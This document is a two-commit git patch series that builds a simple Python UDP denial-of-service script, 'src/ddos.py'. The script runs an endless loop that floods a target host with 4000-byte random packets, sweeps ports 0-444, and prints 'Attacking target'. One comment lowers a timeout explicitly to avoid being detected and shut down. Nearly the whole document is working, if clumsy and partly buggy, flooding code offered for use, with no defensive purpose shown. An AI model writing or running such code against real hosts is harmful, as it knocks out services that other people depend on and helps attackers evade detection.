From 9ece63b94101d3396c0a0e256d8d8666cc4be7dc Mon Sep 17 00:00:00 2001 From: Tiffany Date: Tue, 14 Nov 2023 11:50:49 -0500 Subject: [PATCH 1/2] Create new branch to simplify things --- src/ddos.py | 94 +++++++++++++++++++++++------------------------------ 1 file changed, 40 insertions(+), 54 deletions(-) diff --git a/src/ddos.py b/src/ddos.py index 1ebea0c..e569aea 100644 --- a/src/ddos.py +++ b/src/ddos.py @@ -1,9 +1,9 @@ -import os +import os, sys, socket import platform import random +from datetime import datetime as dt -# import threading -import socket +os.system('figlet Simple DDoS | lolcat') # TODO: Read docs on time, os, random, threading, and platform # TODO: Take questions to Mastodon @@ -17,9 +17,10 @@ G = '\033[32m' C = '\033[36m' W = '\033[0m' + # v1: just create ddos script -# Instead of using SOCK_STREAM for TCP connections +# Instead ofusing SOCK_STREAM for TCP connections # using SOCK_DGRAM for UDP connections to keep packets small # If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand # what that means for the network being hit @@ -29,67 +30,52 @@ W = '\033[0m' # TODO: research ipv6 -sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - -bytes1 = random.randbytes(2000) -bytes2 = random.randbytes(2900) -system = platform.uname().system - # this is better system = getattr(platform.uname(), "system") # instead of hardcoding a specific index # because if something in the l -def check_os(): - if system == 'Windows': - os.system("cls") - elif system == 'Unix': - os.system("clear") - - -class DDoS: - pass - - def __init__(self, target, port, ip): - self.target = target - self.port = port - self.ip = ip - - -# call function to check what system is used - - -# Why use a try - -def ddos(target, port, ipaddress): +def ddos(target, port): sent = 0 - try: - while True: - sock.sendto(bytes1, (target, port)) - sent = sent + 1 + if len(sys.argv) == 3: + socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto + else: + print('\n' + R + '[!]' + R + 'Invalid amount of arguments') + print('\n' + 'Syntax: python3 ddos.py ') - print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) - while True: - sock.sendto(bytes2, (target, port)) - sent = sent + 1 - print("Sending %s packets to %s through port:%s" % (sent, ipaddress, port)) + print("-" * 25) + print("Attacking target:" + target) + print("Time started:" + str(dt.now())) - # Break out of infinite loop + try: + # create an infinite loop to continuously send junk data + # to target ip + while True: + # Create a new socket + # assign socket to s + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - except KeyboardInterrupt: - print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W) + # create a variable that will send 4000 random bytes - except socket.gaierror: - print(R + '[-] ' + C + 'Unknown address.') - print(R + '[-] ' + C + 'Please input the correct ip address.') + bytes1 = random.randbytes(4000) + # bytes2 = random.randbytes(4000) + # system = platform.uname().system - except NameError: - print(R + '[-] ' + C + 'Unknown address.') - print(R + '[-] ' + C + 'Please input the correct ip address.') + # send 4000 random bytes to the target on port passed as arg + s.sendto(bytes1, (target, port)) + sent = sent + 1 + + # Break out of infinite loop -# For introducing to the script later + except KeyboardInterrupt: + print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W) + + except socket.gaierror: + print(R + '[-] ' + C + 'Unknown address.') + print(R + '[-] ' + C + 'Please input the correct ip address.') + + except NameError: + print(R + '[-] ' + C + 'Unknown address.') + print(R + '[-] ' + C + 'Please input the correct ip address.') -# for i in range(150): -# thread = threading.Thread(target=ddos) -# thread.start() From 2ded4f6972bc578a4989e20f1daa9ea86bf09dbd Mon Sep 17 00:00:00 2001 From: Tiffany Date: Wed, 15 Nov 2023 19:53:00 -0500 Subject: [PATCH 2/2] Finish script, needs refactored but runs --- __init__.py | 5 +++ main.py | 19 ---------- src/ddos.py | 103 ++++++++++++++++++++++++++++++++++------------------ 3 files changed, 72 insertions(+), 55 deletions(-) create mode 100644 __init__.py delete mode 100644 main.py diff --git a/__init__.py b/__init__.py new file mode 100644 index 0000000..8c1c164 --- /dev/null +++ b/__init__.py @@ -0,0 +1,5 @@ +"""Top-level package for Simple DDoS.""" +# simple_ddos/__init__.py + +__app_name__ = 'simple_ddos' +__version__ = "0.1.0" diff --git a/main.py b/main.py deleted file mode 100644 index 3ef7608..0000000 --- a/main.py +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/python - -import argparse - -from src import ddos - - -def main(): - parser = argparse.ArgumentParser(description="DDoS Proof of concept") - parser.add_argument('-t', '--target', help="Attack target IP address") - parser.add_argument('-p', '--port', help="Port to attack") - parser.add_argument('-i', '--ipaddress', help="Fake ip address") - - args = parser.parse_args(ddos) - - - -if __name__ == "__main__": - main() diff --git a/src/ddos.py b/src/ddos.py index e569aea..69346cf 100644 --- a/src/ddos.py +++ b/src/ddos.py @@ -1,9 +1,8 @@ -import os, sys, socket -import platform +import sys, socket import random from datetime import datetime as dt -os.system('figlet Simple DDoS | lolcat') +# os.system('figlet Simple DDoS | lolcat') # TODO: Read docs on time, os, random, threading, and platform # TODO: Take questions to Mastodon @@ -20,7 +19,7 @@ W = '\033[0m' # v1: just create ddos script -# Instead ofusing SOCK_STREAM for TCP connections +# Instead of using SOCK_STREAM for TCP connections # using SOCK_DGRAM for UDP connections to keep packets small # If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand # what that means for the network being hit @@ -38,44 +37,76 @@ W = '\033[0m' def ddos(target, port): sent = 0 - if len(sys.argv) == 3: - socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto - else: - print('\n' + R + '[!]' + R + 'Invalid amount of arguments') - print('\n' + 'Syntax: python3 ddos.py ') + if len(sys.argv) != 3: + print('\n' + R + '[!]' + R + 'Invalid amount of arguments') + print('\n' + 'Syntax: python3 ddos.py ') - print("-" * 25) - print("Attacking target:" + target) - print("Time started:" + str(dt.now())) + print("-" * 25) + print(f"Attacking target:{target} on {port}") + print("Time started:" + str(dt.now())) + else: + socket.gethostbyname(sys.argv[1]) - try: - # create an infinite loop to continuously send junk data - # to target ip - while True: - # Create a new socket - # assign socket to s - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + try: + # create an infinite loop to continuously send junk data + # to target ip + while True: + # Create a new socket + # assign socket to s - # create a variable that will send 4000 random bytes + # Iterate over ports to find the open ones on + # common DNS protocol ports + for port in range(0,445): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - bytes1 = random.randbytes(4000) - # bytes2 = random.randbytes(4000) - # system = platform.uname().system + # Set the timeout for 5 seconds - # send 4000 random bytes to the target on port passed as arg - s.sendto(bytes1, (target, port)) - sent = sent + 1 - - # Break out of infinite loop + # I changed it from 5 seconds to 1 + # because each iteration over a port should not + # take more than 1 second + # If it did, perhaps it would be detected + # quickly and shutdown - except KeyboardInterrupt: - print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W) + socket.setdefaulttimeout(1) - except socket.gaierror: - print(R + '[-] ' + C + 'Unknown address.') - print(R + '[-] ' + C + 'Please input the correct ip address.') + # Connect to target and port + # using connect_ex to raise an + # exception instead of just s.connect - except NameError: - print(R + '[-] ' + C + 'Unknown address.') - print(R + '[-] ' + C + 'Please input the correct ip address.') + # Assign the connection a variable res + res = s.connect_ex((target, port)) + if res != 1: + pass + # Check open ports by + # + else: + print(f"Port {port} is open on {target}") + print("Connected") + # create a variable that will send 4000 random bytes + + # 4000 bytes is not enough to DDoS a target. + # Will need to test with more. + + bytes1: bytes = random.randbytes(4000) + # bytes2 = random.randbytes(4000) + # system = platform.uname().system + + # send 4000 random bytes to the target on port passed as arg + s.sendto(bytes1, (target, port)) + sent = sent + 1 + + # Break out of infinite loop + + except KeyboardInterrupt: + print('\n' + R + '[!]' + C + 'Terminating Session...' + W) + sys.exit() + + except socket.gaierror: + print(R + '[-] ' + C + 'Unknown address.') + print(R + '[-] ' + C + 'Please input the correct ip address.') + sys.exit() + + except socket.error: + print(R + '[-] ' + C + "Couldn't connect to server.") + socket.close()